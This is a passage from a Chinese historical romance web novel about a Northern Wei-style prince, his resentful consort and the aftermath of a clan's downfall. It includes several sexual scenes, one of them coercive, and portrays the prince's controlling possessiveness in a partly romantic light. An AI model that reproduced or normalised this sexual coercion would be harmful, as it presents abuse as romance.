杨知聿自觉也没什么好瞒的,“上一世咱们这位太尉,可是一直记得自己儿子的仇呢,胡太后倒台,尔朱氏进宫,我这个人便也成了一枚废棋,不仅如此,还是杀了他儿子的罪魁祸首,同时也是个麻烦,依咱们这位太尉的性子,自然不会让我活着回军镇。 “不过我运气好,被…”他话音顿了顿,笑道:“被人救了,又换了个身份回军镇罢了。” “你可曾想过,就算这一世崔迟景没死,他也不一定会放过你?” 这个杨知聿自然想的到,他道:“那又如何?横竖他也不会现在动手。” 元衡没再多说什么,也许是觉得自己为他担忧实在犯蠢,低头抿了口茶。 在他端起茶杯的那一刻,杨知聿又看向了窗外。 那人还在那里画着,身上严严实实裹了一件厚袄,比起上一世只穿薄衣来到此处,境遇好了太多,想来他也是宠她的。 只是那脸上还是没多少笑容,是同上一世不一样的孤寂。 元衡刚抿了口茶,便看到他又转了头。 脖子仿佛就直不了一样,脸上还挂着笑。 他眉微竖,重重一磕手中的茶盏,茶水洒出来些,“你可以走了。” 杨知聿收回目光,面对他的逐客令,也没再赖在这儿,起来时叹了口气。 “望殿下好好待她,莫要再让她难过了。” 元衡唇抿得像一条线,“不用你多说。” 杨知聿却也没打算说别的,也没像前几次一样挖苦他,他拱手一礼,“微臣在此别过。” 杨知聿走后不久,元衡便出了院子。 他走向水榭,周围的奴仆行礼时,水榭中的女人也没打算理会他,只留给他一个背影。 元衡脸色变冷,大步走上前去,声音却在近时不由放缓,“在画什么?” 岑璠不答,又沾 了些黑墨,描绘女子的乌发。 元衡自己看了过去,那幅画和她面对的广阔湖景完全没有关系。 那画上一女子躺在椅上,另一个男子坐在一旁,手里抱了一筐樱桃,拿了一颗往女子的嘴里送,女子的团扇轻轻敲在男子的额头上。 画的还真是惟妙惟肖。 “你在画他们?” “那日偶然看到,便画下来了。” 元衡哼了一声,目光却竟也久久未能从那幅画上移开。 雨后一片寂静,湖水一片寂静,秋叶落入湖中,秋波荡漾开,却一点声音都没有。 那幅画上,两个人笑的温馨,给寒秋都带来几分暖意。 笔落下,元衡低眼,自然而然握住她的手。 她的手微凉,特别是指尖。 他的手掌包裹住,很快掌心的温暖便传递了过去。 她喝的那药伤身,前几日手心明显泛凉。他怎么捂也捂不热。 这几日他找了医士来府上,这些日子调理下来,身子明显又缓回来许多,起码一捂便热了。 他不允许任何人伤她,包括她自己。 他会把她养得很好,给她所有最好的,让她长长久久陪在他身边。 元衡声音愈发温和,“你想不想吃樱桃?” 岑璠笑了笑,“殿下说笑,这个时节,哪里还有樱桃?” “你若想吃,孤可以让人从南边弄来些。” “殿下可莫要乱说,崔氏不就刚因为与南边勾结获罪?” 元衡知道她心里怨怪,不只是怨他,也怨皇权世道,怨帝王无情,随随便便就能给人安上一个莫须有的罪名。 可他目光还是时不时盯向那幅画。 平常却又温暖,处处让人艳羡, 于是他便装作没听懂,只道:“担心什么?只要王妃想吃,孤随时让人给你运,喂你吃也可以。”【你现在阅读的是 】 50-60 第51章 第五十一章欺瞒 岑璠淡淡撇开眼,“算了吧。” 倒不是说不信他弄不来梅子,这样一个疯子,想必她说要,他便是单枪匹马闯到南梁,也能给自己抢来樱桃吃。 可岑璠不想这样。 实在是没有意思。 岑璠又瞥向那幅画,画中的两人眉目温柔,相互对望,她似是还觉得不满,又从桌上拿了笔,往女子的眼尾细扫了一笔,那眼睛便又多了几分温婉。 元衡看向那幅画,看不出门道,却也能感觉到,她的那一笔让一幅画更显缱绻。 岑璠轻轻放下那只笔,走出水榭,元衡跟在她身后,那腰如细柳纤细,盈盈一握,他忍不住轻轻揽住她的腰。 自那日回来后,他便再也没锁过她,也没执着于把她关在院子里。 两人回正殿用的晚膳,燕窝羹端上来,细细看去,满桌的菜肴也近乎都是补气血的。 他二人的晚膳向来吃的安静,半碗燕窝用下时,元衡开口同她说话,“崔公子前两日醒了,听说今日已能下地,明日孤带你去看看他们,等他再养几日,孤送他们出城。” 不似上次在那别院里,当着郑伊湄的面,他还假装征求她的同意。 这是彻头彻尾的安排。 再过两日,他们便要去平城了,在世人眼中他们已经不在,从此之后只能隐姓埋名,远离烟火。 可如此也好,自此不问世事,对那两个人来说也算是一种很好的安排了 而她还要继续留在这里,她的仇怨还未了结,这样的日子离她太过遥远。 放在嘴边的玉勺停顿一息,岑璠才颔首,“多谢殿下。” 一句“多谢”,元衡想说的话便又是被堵了回去。 晚膳后,两碗药端上,一碗是给她的补药,而另一碗是给他的。 岑璠便是知道,他是要干什么。 他每次喝那药时,她都觉得自己就像是一头待宰的羊,被拴在断头台旁,静静看着屠夫堂而皇之地磨刀一般。 莫名的不适感。 可他似是真的没有同她说谎话,自那日说不要孩子后,他没再给她垫过枕头,也没有大汗淋漓后直接抱着她睡觉。 这段日子医士常来给她看,除了体内寒气未除,并无其他脉象。 但她也不知道究竟是他喝的药起了作用,还是因为前些日子她身体大寒,难以受孕。 岑璠不敢信任他。 她不相信,一个人有争夺龙椅的野心,却不想拥有子嗣来增添自己的筹码,也不相信这样一个想坐拥万里江山的人,不想有人来继承大统。 就在她出神的时候,那人已经将药一饮而尽。 那两碗药本就是晾成温热后端进来,秋日渐凉,可屋内到底还没点起炭火,另一碗药上早已没了热气。 “喝了吧,再喝就凉了。” 他端起那碗药时,岑璠才回过神。 她接过药碗,舌尖尝到一片苦涩,便像他般,将那碗药迅速饮而尽。 而后那唇便毫无征兆地贴来,他轻轻描绘着她唇的模样。 他两臂勾在她的膝弯,轻轻一提,便将她提起,与他平视,岑璠向后微躲,他便俯身追过来。 她躲不过,近乎要仰栽下去,只能抱紧他。 …… 床榻上空无一人,只能看见床侧的墙上影影绰绰,一道纤细的身影半俯,与之对冲的是那道强劲的身影。 房内烛火随呼吸摇曳,墙上高壮精瘦的影子摇晃不止,连带一旁的帘幔都要被摇散了。 地上两双脚几近交叠,稍大的脚不断往前,几乎要贴在床边,小巧的足时而踮起时而踩实,一双手紧紧抓在锦绣上的鸳鸯图案上,似是抓出了水波。 秋风大起,似迎来一阵呼啸嘶吼,烛火忽地一歪,连带着两道身影也沉了下去,重合在一起。 那双玉足悬空,无力地垂在床边,身上的重量似一座山,压得她必须拼命呼吸汲取空气。 “皎皎放心,宫里去母留子的规矩未废之前,孤不会让你有身孕的,孤若是能掌权,这规矩一定会废了,你不用担心” 岑璠意识尚清醒时,就听到这么一句。 他每次说的话,都不会平白无故说,定是有他的目的。 先前他一遍遍的说不要子嗣,终归是隐瞒了些条件,如今总算是说出了他真实的打算。 那规矩废之后,他能不能信守承诺并不好说。 * 晋阳的秋日瞬息万变,上一次在那小院中,尚能见满园生机,可不过几日,便也沾染上萧瑟之感。 元衡带她来到小院时,郑伊湄正搀扶着崔迟景在院子里散步。 那假死药终归伤人元气,连着多日逃亡,又身负重伤,他的脸色并不似从前温润如玉,满是意气。 苍白的脸和秋日的萧瑟相映衬,多了些沧桑,却也平添几分沉静。 两人虽是来了,郑伊湄却也没忘记给崔迟景端来该喝的药。 到了跟前,崔迟景起身走了两步,自己接过她手中的药碗,让出位置让她坐下。 郑伊湄也未同他客气,更没说什么“多谢”之类的客道话,走到他刚才坐的位置。 两人对视一眼,未有言语便似能明白对方需要什么,郑伊湄伸手,扶着他坐下。 一举一动自然而又亲昵,大概寻常恩爱的夫妻,便该是如此。 元衡自始至终没说话,反倒是岑璠问的多些。 他并未阻止,也并未吝啬到不让她问,静静看着对面的两个人。 郑氏的姑娘答着话,时不时看崔迟景一眼,而另一人的目光始终盯在她身上,满眼全都是她。 他微微转头,目光也不由自主落向岑璠。 她的眼睛自始至终落在对面两人那里,未看他片刻。 元衡又收回了目光。 当日元衡射出的那只箭正巧射在肩骨之间位置,只伤到皮肉,且力道并不大,崔迟景最严重的那处伤是肩膀的第一箭。 如今那处伤也有结痂的迹象。 岑璠听到此处,终于松了口气。 崔迟景忽然想到什么,道:“还未多谢晋王殿下救命之恩。” 元衡还是一句,“不必。” 崔迟景又问:“殿下可否告知,陷害我崔氏的究竟是何人?” 元衡当时与崔迟景交好,一来是为了在崔家安排自己的人,以便传递消息,而来便是为了不让郑家与他离心。 如今崔氏没了,只有他活了下来,便也没了继续拉拢的必要。 元衡直言不讳,“崔氏这几年与南边有所往来,有南迁之意,其实并不算无辜。” 屋内沉默了许 久,四人皆未说话,似各有各的心思。 “所以殿下知道是谁从中作梗,对吗?” “这不是你能管的。”元衡未给任何余地,也没顾及岑璠的脸色,扫了眼其他两人,目光似利刃,“孤将你二人救回来,若想好好活命,便听孤的安排。” 说罢,他转过身,拉着岑璠离开小院。 未出小院,岑璠跟他身侧,道:“殿下有话为何不能好好同他们说清楚?” 他冷嗤一声,“王妃觉得孤该如何好好说,是说杨知聿为孤所用杀不得,还是说他要报仇比登天还难?王妃不是一向同那二人交好,觉得孤说话不好听,为何王妃不亲口告诉他们。” 岑璠低垂下目光。 她只是想让元衡态度好些,她知道崔迟景有权利知道真相,可她确实擅自做主,不想告诉他。 她只想他能和阿湄自此闲云野鹤过完此生,不要沾染仇恨。 这种东西就是一把刀,能杀人嗜血,可沾染鲜血后,自己也难彻底洗去血腥,最后被慢慢蚕食腐烂。 她不想那两人变成像她这样的人… 她久久未答,元衡起初倒是平静,甚至有些理占上风的得意,可后来想的多了些,脸色便是渐渐沉了。 * 夜晚,元衡罕见回来晚了许多,岑璠不知他在忙何事,未等他,自己沐浴洗漱一番。 刚穿上衣裳从净室出来,便迎面撞见了他。 元衡移目看她一眼,沐浴过后,她身上肌肤似雪,浑身散发着甘甜的花香。 他错开她,也没找人再换水,径直进了净房 再回去时,炉内燃起熏香,岑璠正坐在妆台前,紫芯正往她手上抹香膏,身后槿儿给她轻轻梳头。 见他走过来,两个婢女便知是什么意思,站起身福了一礼告退。 元衡站在她身后,并未坐下,岑璠知道他有话要说,便干脆自己拿起桌上的梳子,梳起发梢。 果然,没过多久他便开口,“王妃同那二人隐瞒,是怕他们招惹上危险,还是也拿那姓杨的当成朋友?” 岑璠愣了愣。 这事已经过去大半日,她回想许久,才想起今日出院门时的一番争执。 岑璠看他,像是在看一个傻子,同情中有嘲笑,“殿下愿意这么想,便是吧。” 元衡蓦地抿住唇。 室内忽地传来一声响,是梳子掉在地上的声音。 他将她推上妆台,就要掀她的裙摆,“你真拿他当朋友?” 这是他逼她默声屈服的惯来手段。 岑璠盯着他,并不惧怕,也丝毫不退让,“我说了,殿下愿意这么想,便是。” 双眸同时直视对方,眼中都含有怒意,气氛剑拔弩张间,元衡却忽然瞧见那人唇角的一丝玩味。 再看那倔强的眼神,便是看到了挑衅。 他恢复了冷静,退开些。 她可以轻易左右他的情绪,她发现了这一点,并且尝试学会激怒他,享受看他喜怒无常的快感。 元衡也弯起了嘴角。 岑璠不害怕他怒,可着实怕他露出这种笑。 “你想做什么?” 他慢慢走近,黑影渐渐覆盖。 桌上的首饰散落,妆台上的铜镜晃了晃。 第52章 第五十二章她吐了 房内的那面雕花檀木铜镜并不算小,光亮的铜缅照清了面前的两道影。 镜面晃动,她双手紧扣着妆台,十指泛白。 镜面就在面前,低头能看见,抬头也看得清楚。 她选择闭上了眼睛。 镜面上的首饰忽然一阵叮铃咣啷作响。 “看着。”身后冷声传来。 岑璠不肯,仍旧闭着眼,阵阵冲撞让她恍惚晕眩。 后来没了力气,便是趴在妆台上。 他将她旋了个,抱起时未曾抽开。 不知是不是故意的,他抱着她在房内重重踏了几步。 那种晕眩恶心的感觉愈发强烈,直到摔在榻上,岑璠呕了一口。 那第一口没呕出来什么东西,元衡察觉到不对,将她抱起来。 她趴伏在他的肩上,下一口一半秽物呕在地上,另一半呕在他沐浴后刚换的寝衣上。 元衡的脸骤然黑了,可下一瞬心底便慌乱起来。 他轻轻拍着她的背,害怕无措,不知道该怎么办。 可他越靠近,岑璠便越恶心,尤其那只手是轻轻触碰到她的背时,她愈发想吐。 再呕出一口时,元衡终于退开,整个人僵住。 而后他才回过神,脱去身上那件吐脏的寝衣,披上长袍朝外面喊人。 乳娘进来后,也顾不得一室的凌乱,找来了痰盂。 岑璠撑在床沿,晚上吃的都吐了出来,最后呕起了酸水。 “姑娘没事吧?” 岑璠低头,再抬起头时,那眼底一片猩红,像含有一汪水,脸色苍白。 她衣裳半披,头发散开,狠狠盯着他,眼中似有汹涌恨意。 元衡有些怔愣。 他见过她眼中带狠,可她从来没有这样盯过他,有讥讽和悲哀,彻骨的寒,像是要啖他的肉。 他久久未能言语,看住她的眼睛,第一次想要躲避。 乳娘拿来帕子,给她擦了嘴,又叫槿儿倒了热水过来。 岑璠似还是难受,紧皱着眉头。 乳娘给她顺着气,手忽然顿了顿,看向晋王,“殿下不如去找医士来。” 元衡回过神,见那老媪似眉间并无忧色,反倒是眉稍微扬。 一个念头陡然间闪过,元衡瞳颤动,先是心道不可能,而后却觉得不可思议,最后竟抑制不住去想。 那种期许越来越强烈,强烈到他开始否认自己前段日子喝的药。 那药是从西域而来,虽是稳妥,可万一呢? 她的身子好了,那给她诊脉的医士几日没诊了,万一是真的呢…… 元衡眼神清明了许多,和她眼中嗜血的恨意截然不同,满目欣喜。 渐渐地,就连她那眼中的恨意,竟然都显得不那么重要了。 他穿好衣裳,叫人去找了医士。 医士来时,元衡站在门外,身上只穿了一件薄衣。 那是因为他刚才想走近她,扶她躺下,她说了声“滚”。 她性子倔,爱生气,可这个时候生气总归是不好,他还顺着她才对。 元衡这么想,刚才便在乳娘几人的注视下,自己滚了出去。 如今医士来了,他才敢进去看她。 医士来时,地上的秽物被收拾整齐,妆台上被扫掉的首饰也摆回原位。 窗打开,散去难闻的气味,室内点起了他常用的沉香。 床上的帘幔被放下,乳娘守在外面,似是为难。 元衡唤了两声“皎皎”,却无人回应。 他便是手挑开那帘幔,只见那人在床榻端坐,身上的衣裳已经换过,在他掀开帘幔的一刹那,恶狠狠地盯住他,咬牙说了声“滚”。 这一声“滚”,一室都静了。 医士手一抖,提着药箱,不知道该不该走。 元衡抿唇,将那帘幔钩起,自己退远了些。 医士走上前,岑璠却不伸手。 乳娘轻轻跺脚,好言相劝,“姑娘 啊,就算是为了自己的身子,也该看看才是……” 说罢,乳娘默默挪开点步,让医士上前。 岑璠还是撇开头,淡淡道:“让他滚。” 床边的几个人都愣住,医士脖后一凉,进退两难, 元衡抿唇,有自知之明自地己出门。 他站在门外,想听一二,可转头来又不敢听。 怕不是他想的那样,也怕就这么潦草偷听来天大的喜讯。 他走远了些,站在廊下,翘首望向房内的灯火。 那房内似是一直很安静,元衡想不到为何就这么安静。 过了一柱香,医士才从房内出来。 元衡上前一步,似是急切地看向门内,声音却又平和,“如何?” 这样的晋王实在让医士陌生,他一时觉得不知该怎么说。 可这事他也没胆子欺瞒,只得拱手行了一礼,照实说:“殿下,王妃她并无身孕……” 听到这句,元衡的眼神滞住。 那目光慢慢垂落,最后落向沉寂,似是整个人都变得冷了下来。 可他似是接受了现实,没有质问,只是很平静地问,“那王妃到底是怎么了?” 医士道:“王妃脉象浮躁凌乱,有些……” 医士一时觉得难说,他问了乳娘,知道来之前发生了什么。 就照刚才王妃的脉象,若是真的有了身孕,这孩子在肚子里早就揣不住了,哪能还只是呕吐… 医士低下头,委婉道:“王妃心气郁结,又一时急火攻心,这平日还是不能太过操劳,否则很难有孕啊……” 这话元衡听得懂,他收紧了唇,脸色变得黑沉,手也收紧。 医士手心捏出一把汗,走也不是,不走也不是。 可他说的是实话,看刚才王妃的样子,也是满腹怨怼,恨不得将他这个年过不惑的老朽一起也撵出去…… 元衡只说了声,“下去吧。” 医士如蒙大赦,一行礼后赶紧离开王府。 * 元衡抬步进门,乳娘和紫芯正给她擦手净面。 她终于从那床榻上起来,脸色似好了不少,唇上淡淡一层粉,心情似也不错,净过手后自己涂抹脂膏。 他走进来时,她也不再避而不见,眼中的恨意消散,看他的眼神又恢复了淡然。 她没有挖苦他,也没对他刚才在妆台的恶劣行径表现出任何不满,从他的面前稳步走过,坐回床榻。 元衡的眼睛愈发黑,深沉近墨,面色冷峭。 紫芯按医士的药方煮好药端进来,她接过药碗,轻轻吹了吹,吹了许久。 从容不迫,泰然自若。 元衡走近了些,什么也没说,低眼静静看着那碗药,苦涩弥漫开,冲到鼻尖。 渐渐地,心底竟还泛起些愧疚。 他总怕别人伤了她,可到头来伤她的是他自己…… 元衡眸底漩动,终于连那头也微微低了下来。 她将那药一饮而尽后,元衡接住她手上的碗。 岑璠手一顿,犹豫片刻后轻轻放手。 他只将碗交给紫芯,多余的什么也没做。 立在那里半晌后,他自己也走了出去。 岑璠没问他去哪里,洗漱过后他还未回,便让人灭了灯。 一晚上大落大起,或许是太过放松,什么忧怨暂且都记不得了,岑璠很快便入睡。 只是刚浅眠没多久,她便听见了脚步声。 那步声踩得轻,却沉稳利落。 终日相处,就算再怎么厌恶,她也认得出是谁: 他似不想打扰她,锦衣窸窣声几乎不可耳闻。 只是他这个人,应当也是不知该如何才能不真正打扰别人,将腰带搭到屏风上时,玉石碰撞声终究还是大了些。 他将被子轻轻扯开,上榻的步子轻缓。 岑璠假寐,并没有任何反应, 他将她揽入怀中,“孤知道,皎皎应该还没睡吧……” 岑璠睁开了眼睛,仍是安静,只想听听他想说什么。 他声音就在耳畔,沙哑得含糊不清,“你是不是很不想怀上孤的孩子,你会恨孤,也会恨这个孩子,对吗……” 岑璠又闭上了眼睛。 她该知道,狗嘴里是吐不出象牙的。 他手臂收紧了些,在她耳边蹭了蹭,不知为何,岑璠感觉到一点点湿润。 “孤想要个答案。” 她手收紧,“殿下觉得呢?” 那手臂骤然间松开了。 室内寂静,晚些时点的沉香早已燃尽,月宫上洒下的月光凄清寒凉。 许久之后,他说了一句,“一辈子不生也罢……” 岑璠手微微动了动。 他竟然还是不肯放过她…… 即使是他打算夺位,即使是打算当皇帝。 真是个疯子。 岑璠暗骂,心里却不得不又盘算起其他的事。 往南大河边上天罗地网,往北军镇又是在他掌权之下。 那她报完仇后,若是想逃,还能全身而退吗? 有朝一日,他会不会疯到逼迫她怀上一个她并不喜欢的孩子? 她今日差点就误以为真,她知道那种感觉。 她真的会疯的! 可他就是这样一个人,嘴上怎么说,心里并不一定这么想,她不能全信,更不可妥协。 或许连答应帮她报仇,都是为了稳住她的借口。 岑璠心里忽然闪过一个她从未想过的可能。 或许他说为她报仇,都是在骗她。 说不定他会故意将她的仇人握在手上,一直拖,拖住她一辈子…… 他为了留住她,什么都敢做! 岑璠呼吸愈发错乱,乱到元衡都有所察觉。 他似知道她为何不安,添了一句:“孤没骗你,若你不想生,以后过继也罢,若是不想过继…” 那话音顿了顿,终究也妥协了,“也并非不能。” 岑璠轻轻颔首,可心底愈发坚定。 她不能总想着依靠他来报仇,他靠不住,说不定还会成为她报仇的阻碍。 她总要想想其他的出路才对。 第53章 第五十三章泡泉 秋日又一场雨,将最后一点炎热送走。 有一日晚上,元衡告诉她,崔迟景的伤势渐好,不日便要将两人送去平城。 岑璠知道终会有这么一天,可没想到这么快。 两人走的那日,元衡带她去城外相送。 去平城需要走几日盘曲山路,路途艰险,路途会遇过几个县城,元衡将一行人伪装成商队,和沿途的州县打好招呼。 岑璠帮两人拿了些包袱,崔迟景上马时,郑伊湄扶了他一把。 将包袱安置好,郑伊湄转过身去,从包袱里拿了一盒糖。 “这些日闲来做的,你回去尝尝。” 岑璠打开那盒糖来。 那是一盒梨膏糖,她似是做了很多,一颗颗糖做成梨花的形状,小而精致。 可她喜欢的并不是糖本身。 远处青山环绕,溪流相送,此去不知何时归。 远去平城,隐姓埋名,归隐山川,也许身边会有诸多管控,不得南归故里,可终得半生闲。 所谓伊人,于焉逍遥。【1】 元衡将一封信交给她,“崔氏风波未定,此刻多事之秋,郑家主不便来晋阳,将此封信交由本王,你拿着。” 郑伊湄愣了愣,接过信来。 那是一封很厚的信,郑伊湄拿出来,发现里面除了这封信,还有些田产铺子…… 她展开那封信,是父亲的亲笔。 这些田产铺子,原本是她的嫁妆。 郑伊湄扫了几眼那些地契租契,有好几处是平城的,还有些不是。 父亲说,若她能有机会出平城,去别的地方走走,这些地契应该都能用得到……。 父亲还说,想让她延后几年再办喜宴,等过两三年风波过去,世家稳住局面,他想办法来平城,到时候再办…… 除此之外,还交代了很多平城的事,说让她好好在平城过自己的日子,如果有委屈随时写信去晋阳,托人送回家,他也好知道。 写完这些,那笔墨似是顿了顿,在纸上晕开一些。 信的最后一句,是让她把那些铺子都收好,只保管在自己手里,莫要给别人。 除此之外,便没有其他的了。 没有提崔家的人,也没有说关于郑家的事。 郑伊湄眼睛红了,她将那封信收在袖中,低身行礼,“多谢殿下,。” “臣女有个不情之请,劳烦殿下同家父带句话,让他保重身体,小女在平城会照顾好自己。” 元衡答应了她,郑伊湄转身牵了缰绳。 上马前,她又拱手一礼,“还望殿下能好好待皎皎。” 元衡记得,上次杨知聿走时,也这样说过, 当时的他实在不解,他哪里有待她不好。 可再有人这么说时,他似是隐隐明白。 他没有反驳,微微颔首。 郑伊湄露出些笑容,上马时转头看向身旁的人,眼中映着彼此,便是笑意展开满眼。 沿着山路,岑璠上马将两人送出一段,元衡带人在后面远远跟着。 渐渐青山映入眼 ,郑伊湄转过马来,“皎皎回去吧,多保重。” 岑璠愣了一瞬,唇微收,随后便勒住马。 清风徐徐,她收住眼底的湿润,轻轻一笑,“以后常写书信。” “会的。”郑伊湄眼眸微弯,又轻轻说了声“保重。” 说罢,她调转马头,仰头看了看连绵山峦,一打马,尘土飞扬。 那支队伍一点点消失,到最后就连马蹄声都听不到了。 岑璠在原地,望着那队人马走的方向,久久停驻。 只剩下她一个人了…… 风吹起些碎叶尘沙,迷住人眼。 一阵马蹄声自身后响起,慢慢靠近,与她并肩。 他轻声道:“走吧。” 手指渐渐冷了下来,岑璠收起泪光,同他离去。 元衡时不时看她,道:“晋阳有王氏,留他们二人在晋阳并不妥,送去平城才是最妥善的安排。” 岑璠淡淡道:“知道。” 她并未说什么,踢了马肚,似不想与他并行。 元衡便主动跟上她,“孤会陪着你,你若想出去,此地不远有个温泉,孤可以带你来此住几日。” “随殿下安排。” * 过往便如落叶,枯败之后,便很快腐烂入泥。 崔家的事过后,元衡暗中派人给洛阳城外崔氏敛尸,葬于邙山,虽是无碑无墓,终归不再是曝尸荒郊之外。 朝中上上下下清洗一番,崔氏一族扶持的党羽,陆续被罢官,还有几个莫名死在家中的。 这几日晋阳之中,倒是有几个官员调去洛阳。 不过这么做,朝野上下并非全然太平,便是洛阳城外都出现过几次乱子。 最轰动的一次,竟然是有人惊了户部侍郎的车驾,险些人仰马翻,呜呼哀哉。 皇帝大怒,派人彻查崔纪推举上来的百名官员,可到底也是忌惮崔氏百年世家,只将崔纪一脉赶尽杀绝,并未追究崔氏其他支脉。 只是这样一来,世家终归是缺失了一块儿,其余几家也惶恐不安。 世家失势,不过终有人获利。 那千里迢迢跑来求庇护的萧昀,于崔氏一案有功,赐予三品散骑常侍,虽是个闲散官,并无实权,可到底有了身份地位。 这三品的散官,威风凛凛在大殿上求娶公主。 朝中不少人骂其痴心妄想,厚颜无耻。 可那龙椅上的皇帝却答应了。 郑峋在朝堂之上,虽是嗤之以鼻,可到底也知道皇帝为何要嫁公主。 这些年南边想要拉拢北地世家,皇帝看在眼里,这些年那萧氏也几次三番暗中派人来试探他郑氏,若不是他勒令族人禁止与南边往来,恐怕被打压的也不是崔家。 而此番皇帝封赏萧昀也不过是想做给南边看。 如今南梁那位皇帝国祚不过三年,便将朝野上下都换成了自己的人,先前齐国的官员该杀的杀,该逃的逃,还有些在朝堂惶惶不能终日。 此番北地肯将公主嫁予萧晗,必有更多齐国余党前来投诚,南梁与前朝关系紧密,长此以往便可动摇根基。 不过皇室适龄出嫁的公主只有一个。 这五公主和晋王同为先后所出,而先后在诞下五公主后便幽居冷宫…… 比起晋王,五公主只更为帝王不喜,趁此机会嫁出去,再合适不过。 皇帝能这么爽快答应这萧昀,此也为缘由之一。 只是要委屈这五公主,本就自卑懦弱,要嫁的毕竟是敌国之子,怕是这辈子再难在宗室面前抬头……。 晋王向来宠爱公主,必是不愿。 想到此处,郑峋下朝后,当即给晋阳去信。 * 自送走那两人后,元衡再也没将岑璠禁在院子,虽是身边加派不少人,可她到底是能在王府随意走动,偶尔还能在晋阳城内走动。 岑璠能感觉到他的变化。 就连房事,他也不再热衷强迫,只偶尔来了兴致在榻上折腾她一两次。 崔氏一案了善后,元衡带她说了那处温泉。 比起她在郑氏别院泡过的那处,水温更热些,雾气弥漫,一点感觉不到寒凉。 泉水自假山的沟壑滑入池中,潺潺水声回荡,空灵清冷。 她用簪子随意挽了个发髻,抬头看向天空。 不似那日雨后夜空晴朗,繁星点点。 云如细织,月影朦胧,看不见天河,更显寂寥。 她一个人看得出神,身后忽然传来一阵赤脚步声。 那人似将衣裳脱下,搭在一旁,随后脚步声渐近,岑璠不自觉让开些位置。 一阵水声哗然,她身旁溅起点水花,打湿了雪白的鹅颈,散落在肩旁的几缕发丝在水中漂浮。 他就在旁边,岑璠却一直仰望,只在水珠溅在眼上时轻轻眯了一下脸。 “在看什么?”他沉声问道。 岑璠睨了他一眼,仿佛在说他问的是废话。 元衡闭嘴,抬头同她一起看。 院内一时间又只剩假山水声。 若是前段日子,现在这个时候,定不可能这般… 岑璠倒也不想自讨没趣去激他,两臂相贴,并坐泡泉,算得上宁静。 她深吸一口气,细细观察天上隐隐约约的几颗亮星。 斗转星移,万象变迁。 元衡仰头看了一会儿,便不想再看,转头看她,却又好奇,轻笑,“这么好看?” 岑璠轻轻颔首,“好看。” 元衡嗤之以鼻,“不是每日都能看到?” “那不一样。”岑璠难得有兴致同他说话,从水下伸出手,指想天空,“那些星星前段日子在那里…还有天河,牛郎织女星,也是看不到了。” 元衡静静听她说,听到那牛郎织女时,眼底满是缱绻。 他轻轻揽她来,抱她到身前,“王妃若是想看,明年立夏时再来便好…” 他说完,又将她揽近了些,温泉水波一阵轻荡,“一年四景,孤都可以和王妃一起看。” 岑璠垂下目,瞧见肌肤相贴,山峦起伏前是他紧致的胸膛。 她淡淡转头。 那人勾过她的下颌,一吻浅在嘴角。 发后的木簪被抽开,乌发在水中散开,水声潺潺,逐渐汇成波涛,铺开一层又一层。 她面色酡红,许久未有过的汹涌几乎难以招架,眼前的点点星辰似流星般划过,一时间恍惚。 许久之后,水声渐缓,又恢复了清净。 元衡帮她清洗一番,穿好衣衫,托住她的膝弯,像托孩童一般将她抱了出去。 岑璠没了力气,头垂在他肩上,一双小巧的玉足垂下,随他的脚步摇摇晃晃。 门外的婢女低垂着头,不敢多瞧一眼。 温泉前连着屋子,他将她抱到榻上,替她擦发,倒像是再普通不过的一对恩爱夫妻。 只是没过一会儿,门便被叩响。 韩泽将一封信递到元衡手上,只说是五公主派人跑死三匹马送来的。 元衡接过,展开那封信,歪头看了两眼,面色淡然无波,只抬眼看了看床榻上的女人。 下一瞬,他将那张信纸攥成团,扔进了烹茶的炉子。 第54 章 第54章 撕画 回来时,岑璠已经彻底躺在了床上。 她的发如瀑,半湿垂下,躺在那里很是安静。 他们已经许久没有这样,想必她也是累坏了。 巾帕还在一旁的小案上,元衡坐下,摊开帕子继续给她耐心地擦头发。 岑璠睁开眼,背对他躺着。 “元斓来了信。”元衡淡淡道:“皇帝想将她嫁给萧昀,王妃说孤该不该管?” 岑璠道:“殿下做主便是。” 元衡道:“你是不是恨她?” 是元斓亲手将她推给他,送到了他的榻上,依她的性子,当是恨的。 岑璠转过身,盯着他看,“我若说我恨她,殿下便当真打算不管了吗?” 元衡轻笑,“当真,王妃若是不想,孤绝不会管。” 岑璠半信半疑,未曾表态。 元衡知道她不信,又道:“孤倒是觉得,把她嫁给萧氏也算合适,以她的性子,找个散官自己也能活得舒畅些,大不了过上几年看腻了,找几个男宠便是。” 听到此言,岑璠看他,似有些难以置信。 他这样的人,连她和其他男人说了几句话都要兽性大发折磨她,竟是会说出这种话。 她猜的不假,果真是是纵容…… 她感慨:“殿下对公主,当真宠爱。” 元衡从她的话中听出了不满,他道:“再怎么样,也比不得王妃。” 岑璠一笑而过。 这种话听听便好,倒是不能当真。 他绝不可能因为她不管这个妹妹,就像他说的,即使要嫁给萧昀,也不会让她受半点委屈。 * 崔氏之事暂了,此处别院清净,两人便在山间多住了几日。 这一日元衡回城中处理些急事,岑璠带上纸笔,去不远处的一处山瀑绘丹青。 元衡并未再关着她,只派了一队护卫看护,身边有墨群和槿儿跟随。 秋日水浅,无飞瀑直下,只一线山溪自高处流下,高耸石山之上,一棵半黄松柏横生,尽显萧瑟。 山瀑下一汪小潭,桌案摆在小潭边一块的青石上,香炉中焚有香木。 她大袖束起,纤指提起笔,一幅高山深潭图勾勒出形。 笔刚落下,墨群来报,说是那余氏女和王氏的人来到此处,想要见她。 岑璠不想见余氏,可她对那王氏的印象并不坏。 她说了声“见”,墨群才去传话。 槿儿帮她解下袖口的绑带,岑璠提起裙摆,踩上几块石,在潭边洗去手上的石墨味。 刚转身,便看到了三个人。 其中两个年轻的姑娘是王莳和余灵均,另一个妇人她并不认得。 那妇人年长,妆容素雅却不失华贵,唇脂点的恰到好处,眼尾微长,一派慈祥面容。 岑璠站在潭边和行礼,几人低身回礼。 她自潭边而下,槿儿小心扶着她。 王莳手上似也拿了一幅画,她走上前,看了看桌案上铺的画,眼睛一亮,嘴角弯起双酒窝,“王妃好雅兴。” 岑璠轻轻一笑,并未说什么客道话,瞥向一直垂着头的余灵均,直问,“王姑娘来此,所谓何事?” 其实前几日王莳便来此处找过两回,可都吃了晋王的闭门羹。 这次是她的母亲要随她来,可谁知今日晋王不在。 母亲在王氏掌家,那门外的人应当也是看在母亲的脸面,才肯给她们指来了去处。 她以为接下来又要吃闭门羹,也不知道自己该如何启齿,捏紧了手里的画,低头道:“王妃莫误会…” 王莳话未说完,王夫人却是伸出手,道:“拿来吧。” 听罢,王莳将那幅画交到自家母亲手上。 